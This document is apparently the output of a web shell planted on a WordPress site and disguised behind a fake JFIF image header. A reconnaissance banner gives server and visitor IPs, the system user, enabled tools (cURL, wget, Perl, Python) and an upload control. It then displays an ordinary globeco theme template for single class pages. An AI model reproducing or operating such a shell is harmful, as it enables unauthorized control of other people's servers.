????JFIF??x?x????'
| Server IP : 104.21.30.238 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././proc/self/root/home/tempvsty/eaabusiness.com/wp-content/themes/globeco/ |
Upload File : |
<?php
get_header();
$p_id = get_queried_object_id();
global $cws_theme_funcs;
if ($cws_theme_funcs){
$sb = $cws_theme_funcs->cws_render_sidebars( get_queried_object_id() );
$fixed_header = $cws_theme_funcs->cws_get_meta_option( 'fixed_header' );
$class = $sb['layout_class'].' '. $sb['sb_class'];
$sb['sb_class'] = apply_filters('cws_print_single_class', $class);
$hide_meta_single = $cws_theme_funcs->cws_get_meta_option( 'def_cws_classes_data_to_hide_related' );
$hide_meta_single = implode(",", $hide_meta_single);
}
$page_classes = "";
$page_classes .= !empty( $sb['layout_class'] ) ? " " . $sb['layout_class'] . "_sidebar" : "";
$page_classes = trim( $page_classes );
$post_meta = get_post_meta( get_the_ID(), 'cws_mb_post' );
$post_meta = isset( $post_meta[0] ) ? $post_meta[0] : array();
extract( shortcode_atts( array(
'show_format' => '1',
'wide_featured' => '0',
'carousel' => '0',
'show_related' => '0',
'related_projects_options' => array(),
'enable_hover' => '0',
'link_options_fancybox' => '0',
'show_featured' => '0',
), $post_meta) );
?>
<div class="<?php echo (isset($sb['sb_class']) ? $sb['sb_class'] : 'page_content'); ?>">
<?php
if ($show_featured == '1' && $wide_featured == '1'){
$featured_img = wp_get_attachment_image_src( get_post_thumbnail_id( $p_id ), 'full' );
$thumb_path_hdpi = isset($featured_img[3]) ? " src='". esc_url($featured_img[0]) ."' data-at2x='" . esc_url($featured_img[3]) ."'" : " src='". esc_url($featured_img[0]) . "' data-no-retina";
$get_alt = get_post_meta($p_id, '_wp_attachment_image_alt', true);
$img_alt = " alt='" . (!empty($get_alt) ? $get_alt : get_the_title($p_id)) . "'";
echo "<div class='wide_featured_img'><img $thumb_path_hdpi ".$img_alt." /></div>";
}
echo (isset($sb['content']) && !empty($sb['content'])) ? $sb['content'] : '';
$related_projects_title = isset( $post_meta['rpo_title'] ) ? $post_meta['rpo_title'] : '';
$related_projects_cols = isset( $post_meta['rpo_cols'] ) ? (int) $post_meta['rpo_cols'] : '4';
$related_projects_count = isset( $post_meta['rpo_items_count'] ) ? (int) $post_meta['rpo_items_count'] : '4';
$categories = isset( $post_meta['rpo_categories'] ) ? $post_meta['rpo_categories'] : '';
$price = isset( $post_meta['price'] ) ? $post_meta['price'] : '';
$date_events = isset( $post_meta['date_events'] ) ? $post_meta['date_events'] : '';
$time_events = isset( $post_meta['time_events'] ) ? $post_meta['time_events'] : '';
$destinations = isset( $post_meta['destinations'] ) ? $post_meta['destinations'] : '';
if(!empty($price)){
preg_match('/(.*[^0-9])(\d+)([\.,]\d+)/', $price, $matches);
if(!empty($matches)){
list(, $currency, $price, $pfraction) = $matches;
}
}
if(is_array($categories)){
if(empty($categories[0])){
unset($categories[0]);
}
}
$link_options = isset( $link_options['@'] ) ? $link_options['@'] : array();
$cats = get_the_terms( $p_id, 'cws_classes_cat' );
$cats = $cats ? $cats : array();
$cat_slugs = array();
foreach( $cats as $cat ){
$cat_slugs[] = $cat->slug;
}
$has_cats = !empty( $cat_slugs );
$related_posts = array();
$has_related = false;
if ( $has_cats ){
$query_args = array(
'post_type' => 'cws_classes',
);
$query_args['tax_query'] = array( array(
'taxonomy' => 'cws_classes_cat',
'field' => 'slug',
'terms' => $cat_slugs
));
$query_args["post__not_in"] = array( $p_id );
if ( $related_projects_count ){
$query_args['posts_per_page'] = $related_projects_count;
}
$q = new WP_Query( $query_args );
$related_posts = $q->posts;
if ( count( $related_posts ) > 0 ){
$has_related = true;
}
}
$use_related_carousel = $carousel == 1 && $has_related;
$show_related_items = $show_related == 1 && $has_related;
$section_class = "cws_classes single";
$section_class .= $use_related_carousel ? " related" : "";
?>
<main>
<div class="grid_row">
<section class="<?php echo esc_attr($section_class) ?>">
<div class="cws_wrapper cws_classes_items">
<?php
$GLOBALS['cws_vc_shortcode_single_post_atts'] = array(
'sb_layout' => $sb['layout_class'],
);
while ( have_posts() ) : the_post();
$pid = get_the_id();
echo "<article id='cws_classes_post_{$pid}' class='cws_classes_post post_single item clearfix'>";
ob_start();
cws_vc_shortcode_cws_classes_single_post_post_media ();
$media = ob_get_clean();
$floated_media = isset( $GLOBALS['cws_vc_shortcode_cws_classes_single_post_floated_media'] ) ? $GLOBALS['cws_vc_shortcode_cws_classes_single_post_floated_media'] : false;
unset( $GLOBALS['cws_vc_shortcode_cws_classes_single_post_floated_media'] );
if ( $floated_media ){
echo "<div class='floated_media cws_classes_floated_media single_post_floated_media'>";
echo "<div class='floated_media_wrapper cws_classes_floated_media_wrapper single_post_floated_media_wrapper'>";
echo sprintf("%s", $media);
echo "</div>";
echo "</div>";
}
else{
echo sprintf("%s", $media);
}
ob_start();
echo "<div class='wrap_title'>";
echo "<div class='title_single_classes'>";
cws_vc_shortcode_title();
echo "</div>";
if(!empty($price)){
echo "<div class='price_single_classes'>";
if(isset($currency)){
echo "<span class='currency_price'>";
echo esc_html($currency);
echo "</span>";
}
if(isset($price)){
echo "<span class='price'>";
echo esc_html($price);
echo "</span>";
}
if(isset($pfraction)){
echo "<span class='pfraction'>";
echo esc_html($pfraction);
echo "</span>";
}
echo "</div>";
}
echo "</div>";
if(!empty($date_events)){
echo "<div class='date_ev_single_classes'>";
echo esc_html($date_events);
echo "</div>";
}
if(!empty($time_events) || !empty($destinations)){
echo "<div class='wrap_desc_info'>";
if(!empty($time_events)){
echo "<div class='time_ev_single_classes'>";
echo esc_html($time_events);
echo "</div>";
}
if(!empty($destinations)){
echo "<div class='destinations_single_classes'>";
echo esc_html($destinations);
echo "</div>";
}
echo "</div>";
}
cws_vc_shortcode_cws_classes_single_post_content ();
//cws_vc_shortcode_cws_classes_single_post_terms ();
cws_vc_shortcode_cws_classes_teacher ();
$content_terms = ob_get_clean();
if ( !empty( $content_terms ) ){
if ( $floated_media ){
echo "<div class='clearfix'>";
echo sprintf("%s", $content_terms);
echo "</div>";
}
else{
echo sprintf("%s", $content_terms);
}
}
cws_page_links();
echo "</article>";
endwhile;
wp_reset_postdata();
unset( $GLOBALS['cws_vc_shortcode_single_post_atts'] );
?>
</div>
<?php
echo "<div class='single_svg_divider'>";
echo "<div class='separator-line single_classes_divider separator-container-left-line'></div>";
echo '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 39.99 40"><path d="M40,19.71a14.09,14.09,0,0,0-6-5.57A13.89,13.89,0,0,0,34.22,6l0-.16L34,5.77a14.26,14.26,0,0,0-8.24.28,14.06,14.06,0,0,0-5.62-6L20,0l-0.15.08a14.06,14.06,0,0,0-5.62,6A14.25,14.25,0,0,0,6,5.77l-0.16,0L5.78,6a13.88,13.88,0,0,0,.29,8.16,14.09,14.09,0,0,0-6,5.57,0.27,0.27,0,0,0,0,.29,0.27,0.27,0,0,0,0,.29,14.09,14.09,0,0,0,6,5.57A13.88,13.88,0,0,0,5.78,34l0,0.16,0.16,0a14.25,14.25,0,0,0,8.24-.29,14.06,14.06,0,0,0,5.62,6L20,40l0.15-.08a14.06,14.06,0,0,0,5.62-6,14.26,14.26,0,0,0,8.24.28l0.16,0,0-.16a13.89,13.89,0,0,0-.29-8.16,14.09,14.09,0,0,0,6-5.57,0.27,0.27,0,0,0,0-.29A0.27,0.27,0,0,0,40,19.71Zm-13.31,8a13.2,13.2,0,0,1-1.18,5.45,13.44,13.44,0,0,1-4.73-3l-0.35-.37a13.91,13.91,0,0,0,2.21-3.46,14.18,14.18,0,0,0,4,.9C26.64,27.42,26.65,27.59,26.65,27.76ZM14.54,33.21a13.21,13.21,0,0,1-1.18-5.45c0-.17,0-0.34,0-0.51a14.16,14.16,0,0,0,4-.9,13.92,13.92,0,0,0,2.21,3.46l-0.35.37A13.45,13.45,0,0,1,14.54,33.21Zm-1.18-21a13.21,13.21,0,0,1,1.18-5.45,13.45,13.45,0,0,1,4.73,3l0.35,0.37a13.92,13.92,0,0,0-2.21,3.46,14.16,14.16,0,0,0-4-.9C13.36,12.58,13.35,12.41,13.35,12.24ZM25.46,6.79a13.21,13.21,0,0,1,1.18,5.45c0,0.17,0,.34,0,0.51a14.18,14.18,0,0,0-4,.9,13.91,13.91,0,0,0-2.21-3.46l0.35-.37A13.45,13.45,0,0,1,25.46,6.79Zm4,13.21a13.5,13.5,0,0,1-3.43,2.19A14,14,0,0,0,24.87,20a14,14,0,0,0,1.2-2.19A13.5,13.5,0,0,1,29.49,20ZM20,29.39a13.35,13.35,0,0,1-2.06-3.24A14.22,14.22,0,0,0,20,25.05a14.2,14.2,0,0,0,2.06,1.09A13.34,13.34,0,0,1,20,29.39Zm0.16-4.92L20,24.36l-0.16.11a13.61,13.61,0,0,1-2.12,1.13A13.38,13.38,0,0,1,17,23.31l0-.19-0.19,0a13.64,13.64,0,0,1-2.31-.68,13.36,13.36,0,0,1,1.14-2.1,0.27,0.27,0,0,0,0-.3,0.27,0.27,0,0,0,0-.3,13.37,13.37,0,0,1-1.14-2.1,13.64,13.64,0,0,1,2.31-.68l0.19,0,0-.19a13.38,13.38,0,0,1,.69-2.29,13.6,13.6,0,0,1,2.12,1.13L20,15.64l0.16-.11a13.59,13.59,0,0,1,2.12-1.13A13.3,13.3,0,0,1,23,16.69l0,0.19,0.19,0a13.66,13.66,0,0,1,2.31.69,13.42,13.42,0,0,1-1.14,2.1,0.27,0.27,0,0,0,0,.3,0.27,0.27,0,0,0,0,.3,13.42,13.42,0,0,1,1.14,2.1,13.67,13.67,0,0,1-2.31.68l-0.19,0,0,0.19a13.32,13.32,0,0,1-.69,2.29A13.62,13.62,0,0,1,20.16,24.47ZM10.51,20a13.49,13.49,0,0,1,3.43-2.19A14,14,0,0,0,15.13,20a14,14,0,0,0-1.2,2.19A13.5,13.5,0,0,1,10.51,20Zm6.66-5.84a14,14,0,0,0-.68,2.22,14.23,14.23,0,0,0-2.24.67,13.26,13.26,0,0,1-.85-3.74A13.59,13.59,0,0,1,17.17,14.16Zm-2.92,8.78a14.22,14.22,0,0,0,2.24.67,14,14,0,0,0,.68,2.22,13.59,13.59,0,0,1-3.77.84A13.26,13.26,0,0,1,14.25,22.94ZM20,10.61a13.34,13.34,0,0,1,2.06,3.24A14.22,14.22,0,0,0,20,14.95a14.19,14.19,0,0,0-2.06-1.09A13.34,13.34,0,0,1,20,10.61Zm2.83,15.22a13.91,13.91,0,0,0,.68-2.22,14.28,14.28,0,0,0,2.24-.67,13.3,13.3,0,0,1,.85,3.74A13.61,13.61,0,0,1,22.83,25.83Zm2.92-8.78a14.28,14.28,0,0,0-2.24-.67,13.91,13.91,0,0,0-.68-2.22,13.61,13.61,0,0,1,3.77-.85A13.3,13.3,0,0,1,25.75,17.06Zm-12,.23a14.08,14.08,0,0,0-3.49,2.19l-0.37-.34a13.31,13.31,0,0,1-3.06-4.68,13.54,13.54,0,0,1,5.5-1.17l0.51,0A13.82,13.82,0,0,0,13.73,17.28Zm-3.49,3.24a14.07,14.07,0,0,0,3.49,2.19,13.81,13.81,0,0,0-.9,4l-0.51,0a13.54,13.54,0,0,1-5.5-1.17,13.31,13.31,0,0,1,3.06-4.68Zm16,2.19a14.07,14.07,0,0,0,3.49-2.19l0.37,0.35a13.31,13.31,0,0,1,3.05,4.68,13.54,13.54,0,0,1-5.5,1.17l-0.51,0A13.86,13.86,0,0,0,26.27,22.72Zm3.49-3.24a14.07,14.07,0,0,0-3.49-2.19,13.86,13.86,0,0,0,.91-4l0.51,0a13.54,13.54,0,0,1,5.5,1.17,13.31,13.31,0,0,1-3.06,4.68Zm3.64-5.58a14.12,14.12,0,0,0-5.72-1.2h0l6.13-6.07A13.31,13.31,0,0,1,33.41,13.89Zm0-7.67-6.13,6.07v0A13.78,13.78,0,0,0,26,6.58,13.67,13.67,0,0,1,33.36,6.22Zm-8.14,0a14,14,0,0,0-4.9,3.16l0,0V0.86A13.47,13.47,0,0,1,25.22,6.25ZM19.71,0.86V9.44l0,0a14,14,0,0,0-4.9-3.16A13.47,13.47,0,0,1,19.71.86ZM14,6.58a13.78,13.78,0,0,0-1.21,5.66v0L6.64,6.22A13.67,13.67,0,0,1,14,6.58Zm-7.75,0,6.13,6.07h0a14.13,14.13,0,0,0-5.72,1.2A13.3,13.3,0,0,1,6.23,6.63ZM0.55,20a13.52,13.52,0,0,1,5.71-5.31,13.88,13.88,0,0,0,3.19,4.85c0.17,0.16.33,0.32,0.5,0.46-0.16.15-.33,0.3-0.5,0.46a13.88,13.88,0,0,0-3.19,4.85A13.52,13.52,0,0,1,.55,20Zm6,6.11a14.13,14.13,0,0,0,5.72,1.2h0L6.23,33.37A13.3,13.3,0,0,1,6.59,26.11Zm0.05,7.68,6.13-6.07v0A13.78,13.78,0,0,0,14,33.42,13.67,13.67,0,0,1,6.64,33.78Zm8.14,0a14,14,0,0,0,4.9-3.16l0,0v8.58A13.47,13.47,0,0,1,14.78,33.75Zm5.51,5.39V30.56l0,0a14,14,0,0,0,4.9,3.16A13.47,13.47,0,0,1,20.29,39.14ZM26,33.42a13.78,13.78,0,0,0,1.21-5.66v0l6.13,6.07A13.67,13.67,0,0,1,26,33.42Zm7.75,0L27.64,27.3h0a14.12,14.12,0,0,0,5.72-1.2A13.31,13.31,0,0,1,33.77,33.37Zm0-8.06a13.88,13.88,0,0,0-3.19-4.85c-0.17-.17-0.34-0.32-0.5-0.46,0.16-.14.33-0.29,0.5-0.46a13.88,13.88,0,0,0,3.19-4.85A13.51,13.51,0,0,1,39.45,20,13.51,13.51,0,0,1,33.74,25.31Z" transform="translate(-0.01)"/></svg>';
echo "<div class='separator-line single_classes_divider separator-container-right-line'></div>";
echo "</div>";
if ( $use_related_carousel ){
$related_ids = array();
foreach ( $related_posts as $related_post ) {
$related_ids[] = $related_post->ID;
}
array_unshift( $related_ids, $p_id );
$ajax_data = array(
'current' => $p_id,
'initial' => $p_id,
'related_ids' => $related_ids
);
echo "<input type='hidden' id='cws_classes_single_ajax_data' value='" . esc_attr(json_encode( $ajax_data ) ) . "' />";
?>
<div class='carousel_nav_panel clearfix'>
<div class='prev_section'>
<div class='prev'>
<div class="wrap">
<span><?php esc_html_e( 'Prev' , 'globeco' ); ?></span>
</div>
<i class="fa fa-long-arrow-left"></i>
</div>
</div>
<div class='next_section'>
<div class='next'>
<div class="wrap">
<span><?php esc_html_e( 'Next' , 'globeco' ); ?></span>
</div>
<i class="fa fa-long-arrow-right"></i>
</div>
</div>
</div>
<?php
}
?>
</section>
</div>
<div class="grid_row related_classes single_classes">
<?php
if ( $show_related ){
$terms = wp_get_post_terms( $p_id, 'cws_classes_cat' );
$term_slugs = array();
for ( $i=0; $i < count( $terms ); $i++ ){
$term = $terms[$i];
$term_slug = $term->slug;
array_push( $term_slugs, $term_slug );
}
$term_slugs = implode( ",", $term_slugs );
if ( !empty( $term_slugs ) ){
$rp_args = array(
'title' => $related_projects_title,
'total_items_count' => $related_projects_count,
'display_style' => 'carousel',
'navigation_carousel' => true,
'cws_classes_hide_meta_override'=> true,
'cws_classes_hide_meta' => isset($hide_meta_single) ? $hide_meta_single : "",
'layout' => $related_projects_cols,
'tax' => 'cws_classes_cat',
'cws_classes_cat_terms' => !empty($categories) ? implode( ",", $categories ) : $term_slugs,
'addl_query_args' => array(
'post__not_in' => array( $p_id )
),
);
$related_projects = cws_vc_shortcode_cws_classes_posts_grid( $rp_args );
if ( !empty( $related_projects ) ){
echo sprintf("%s", $related_projects);
}
}
}
?>
</div>
</main>
<?php echo (isset($sb['content']) && !empty($sb['content']) ) ? '</div>' : ''; ?>
</div>
<?php
get_footer();
?>